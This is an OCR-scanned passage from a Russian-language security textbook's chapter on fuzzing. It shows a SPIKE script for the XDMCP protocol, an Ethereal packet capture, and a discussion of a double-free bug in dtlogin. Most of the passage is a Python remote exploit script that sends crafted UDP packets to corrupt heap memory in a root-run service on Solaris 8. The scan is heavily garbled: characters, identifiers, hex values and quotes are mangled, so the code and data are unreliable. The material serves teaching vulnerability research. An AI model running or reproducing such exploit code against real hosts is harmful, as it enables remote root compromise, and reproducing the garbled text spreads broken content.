Прсирамма SPIKE 235 г ^^^^М^^ИйМ^Д^^^^^Д ?Не ЕШ Captive ШрГ&у T&ate |No , jTjme ] Source (Destination- 1 0,000000 192.168.1.101 192Д68Д.104 I 2 0.005646¦192.168.1.104 192.168.1.101 4 2.862343 192.168.1.104 192.168.1.101 5 2.862454 192.168.1.101 192.168.1.104 6 4.863027 192.168.1.101 192.168.1.104 7 8.863529 192.168.1.101 192.168.1.104 | protocol \ш XDMCP Que XDMCP 1*1 ll XDMCP Ace XDMCP Man XDMCP Man XDMCP Man ry ling ept age age age 0 «capture* - Ethereal mQX Ш Frame 3 A08 bytes on wire, 108 bytes captured) Ш Ethernet II, Src: 00:50:ba:60:51:5c, Dst: 08:00:20:b5:a3:f3 Ш Internet Protocob Src ftddr: 192.168.1.101 A92.168.1.101), Dst Addr: 192.168.1.104 A92.168.1.104) E User Datagram Protocol, Src Port: 34130 C4130), Dst Port: xdmcp A77) В X Display Manager Control Protocol Version: 1 Opcode: Request @x0007) I Message length: 60 ] Display number: 2 ] ? Connections A) В Connection 1: 192.168.1.101 jj Type: Internet Address: 192.168.1.101 Authentication name: Authentication data @ bytes) { В Authorization names B) Authorization name: MIT-MAGIC-C00KIE-1 Authorization name: XC-QIIERif-SECURITY-1 || Manufacturer display ID: hi : - . J0000 08 00 20 b5 a3 f3 00 50 ba 60 51 5c 08 00 45 00 0010 00 5e 00 00 40 00 40 11 b6 71 cO a8 01 65 cO a8 0020 01 68 85 52 00 bl 00 4a 2d 95 00 01 00 07 00 3c 0030 00 02 01 00 00 01 00 04 cO a8 01 65 00 00 00 00 0040 02 00 12 4d 49 54 2d 4d 41 47 49 43 2d 43 4f 4f 0050 4b 49 45 2d 31 00 13 58 43 2d 51 55 45 52 59 2d 0060 53 45 43 55 52 49 54 53 2d 31 00 00 |wi .. u?6.P ^ Q\..E. . \.@.@. flqA .eA .h.R.+.J : < ...MIT-M AGIC-C00 KIE-1..X C-QUERY- SECURITY -1.. jrj Reset] Apply j Fiio <ca|jiure> Drops'0 Ьвф II I i 5 1 i*i' j! Рис. 12.1. Анализ запроса X в Ethereal s_int_vanable@x0001.5), //Подключения s_binary("Or). //Тип сети s_mt_vanable@x0000,5), //Адрес 192 168 1 100 //Подключение 1 s_binary(1"), //Размер в байтах //s_binary(M00 04"), s_bi nary_block_si ze_ha1fword_bigendi an(" i p"), //ip s_block_start("ip"). s_binary("cO a8 01 64"j. s_block_end("ip"). //Аутентификационное имя //s_bmary(0 00"). s_bmary_block_si7e_hal fword_bigendian("authname"
236 Глава 12. Искусство фаззинга s_block_start("authname"), s_string_vanable(""); s_block_end("authname"); //Аутентификационные данные s_binary_block_size_halfword_bigendTan("authdata"), s_block_start("authdataM); s_string_variable(""); s_block_end("authdata"); //s_binary(0 00"); //Имена для проверки B) //3 - один байт sjnt_variable@x02,3); //Размер строки с порядком полуслов Big Endian s_bi nary_block_si ze_halfword_bi gendi an("MIT"), s_block_start("MIT"). s_string_vanable("MIT-MAGIC-COOKIE-l"); s block endCMIT"). s_binary_block_size_halfword_bigendian("XC"). s_block_start("XC"), s_string_vanable("XC-QUERY-SECURITY-l"); s block endC'XC"), //manufacture display id s_binary_block_size_halfword_bigendian("DID"), s_block_start("DID"). s_string_vanable(""). s_block_end("DID"), s_block_end("message"); Важная особенность файла заключается в том, что он фактически является прямой копией данных анализа Ethereal. Структура протокола сохранена, но приведена к линейному виду для удобства. В процессе обработки файла SPIKE генерирует модифицированные пакеты запросов xdcmp и передает их объекту. В Solaris в какой-то момент серверная программа дважды вызывает free() для буфера, находящегося под нашим управлением. Это классическая ошибка повторного освобождения памяти, которая может использоваться для перехвата управления удаленной службой, работающей с правами root. Поскольку dtlogin (программа, в которой происходит сбой) входит во многие версии Unix — AIX, Tru64, Irix и другие, включающие CDE, можно достаточно уверенно утверждать, что дефект будет присутствовать и на этих платформах. Совсем неплохо для часа работы. Сосредоточившись на этой атаке, мы получаем следующий сценарий: #'/usr/bi n/python #Copyright Dave Aitel #license GPLv2 0 #SPIKEd! > #v 0.3 9/17 02
Программе! SPIKE 237 import os import sys import socket import time tt Преобразование int в строку с порядком Intel def intel_order(mying)- str="" a=chr(myint % 256) myint=myint » 8 b=chr(myint % 256) myint=myint » 8 c=chr(myint % 256) myint=myint » 8 d=chr(myint % 256) str+="McMc" % (a.b.c.d) return str def sun_order(myint) str="" a=chr(myint % 256) myint=myint » 8 b=chr(myint % 256) myint=myint » 8 c=chr(myint % 256) myint=myint » 8 d=chr(myint % 256) str+="%c%c%c%c" % (d.c.b.a) return str # Возвращает двоичную версию строки def binstnng(instring,size=l) result="" # Удалить все пропуски tmp=instring replaceC ","") tmp=tmp replace("\n","") tmp=tmp replace("\t","") if len(tmp) % 2 '= 0 print "tried to bmstring something of illegal length" return "" while tmp,=,,M two=tmp[ 2] # Учесть символы Ох и \х if two!=x" and two,="\\x"- result+=chr(mt(two.l6)) tmp=tmp[2 ] return result^size # Для трансляции из файла spk def s_binary(instrmg)
238 Глава 12. Искусство фаззинга return binstnng(instnng) # Замена строки "на месте" В Python это нелегко def stroverwrite(instring,overwritestring,offset) head=i nstn ng[ • offset] # Вывод head tai 1 =i nstri ng[of f set+1 en (overwn testn ng) • ] # Вывод tail result=head+overwritesring+tail return result # Чтобы не испортить терминал def prettypnntd nstri ng) tmp="" for ch in instring- if ch isalphaO tmp+=ch else value='lx" % ord(ch) tmp+="["+value+"]" return tmp # Пакет содержит много данных packet 1="" packetl+=binstring(x00 0x01 0x00 0x07 0x00 Oxaa 0x00 0x01 0x01 0x00") packetl+=binstnng(x00 0x01 0x00 0x04 OxcO 0xa8 0x01 0x64 0x00 0x00 0x00 0x00 0x02 0x00") packetl+=binstring (x80") packetl+=binstringCOxfe Oxfe Oxfe Oxfe") packetl+=binstring(xfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfe Oxfl 0xf2 0xf3") packetl+=binstring("Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxff") # To. что будет передано freeO в следующий раз packetl+=sun_order(Oxfefbb5f0) packetl+=binstringC'Oxcf Oxdf Oxef Oxcf") packetl+=sun_order @x51fc8) packetl+=binstnng(xff Oxaa Oxaa Oxaa") packetl+=sun_order (OxffbedOlO) packetl+=binstnng("Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa Oxaa") packetl+=binstring("Oxff 0x5f Oxff Oxff Oxff 0x9f Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff") packetl+=binstnng("Oxff 0x3f Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff Oxff") packetl+=binstrmg("Oxff Oxff Oxff 0x3f Oxff Oxff Oxff 0x2f Oxff Oxff Oxlf Oxff Oxff Oxff") packetl+=binstnng("Oxff Oxfa Oxff Oxfe Oxff Oxfb Oxff Oxff Oxfe Oxff Oxff Oxff Oxfd Oxff") packetl+=binstnng("Oxfl Oxff 0xf2 Oxff 0xf3 Oxff Oxf4 Oxff 0xf5 Oxff 0xf6 Oxff 0xf7 Oxff") packetl+=binstn'ng("Oxff Oxff Oxff") # Конец строки packetl+=bnnstnng("OxOO 0x13 0xb8 0x43 0x2d ОхЫ 0x55 0x45 0x52 0x59 0x2d")
Программа SPIKE 239 |)<i(kctl+=bmstring(x53 0x45 0x43 0x55 0x52 0x49 0x54 0x59 0x2d 0x31 0x00 0x00") // Зют пакет вызывает переполнение памяти pdcket2="" [)dcket2+=binstring(x00 0x01 0x00 0x07 0x3c 0x00 0x01") |)dcket2+=binstring(x01 0x00 0x00 0x01 0x00 0x04 OxcO 0xa8 0x01 0x64 0x00 0x00 0x00 0x00") packet2+=binstring(x06 0x00 0x12 0x4d 0x49 0x54 0x2d 0x4d 0x41 0x47 0x49 0x43 0x2d 0x43") packet2+=binstrmg(x4f 0x4f 0x4b 0x49 0x45 0x2d 0x31 0x00 0x13 0x58 0x43 0x2d 0x51 0x55") packet2+=binstring(x45 0x52 0x59 0x2d 0x53 0x45 0x43 0x55 0x52 0x49 0x54 0x59 0x2d 0x31") packet2+=binstring(x00 0x00") class xdmcpdexploit. def imt (self) self.port=177 self host="" return def setPort(self.port) self port=port return def setHost(self.host)- self host=host return def run(self) # Подключиться к сокету s = socket socket(socket AFJNET. socket SOCK.DGRAM) s.connect((self host. self.port)) #sploitstnng=self makesploitO print "[*]" Sending first packet s send(packetl) time sleep(l) print "[*] Receiving first response " result=s recv(lOOO) print "result="+prettyprint(result)" if pretyprint(result)=="[0][l][0][9][0][lc][0][16]No20]valid[20]authorization[0][ 0][0][0]". print "That was expected Don't panic We're not valid ever •>" s closeO s = socket socket(socket AFJNET. socket SOCK DGRAM) s connect((self host, selof port)) print "[*]" Sending second packet s send(packet2) #time sleep(l) #result-s recv(lOOO) s closeO print "[*] Done "
if name == ' main ' print "Running xdmcpd exploit v 0.1" print "Works on dtlogin Solaris 8" app = xdcmpexploitO if len(sys argv) < 2 print "Usage* xdcmpx.py target [port]" sys.exitO app.setHost(sys argv[l]) if len(sys argv) == 3: app.setPort(int(sys argv[2])) app run() Другие фаззеры В настоящее время на рынке представлено несколько фаззеров, в том числе коммерческие Hailstorm и еЕуе СНАМ. Многие разработчики написали собст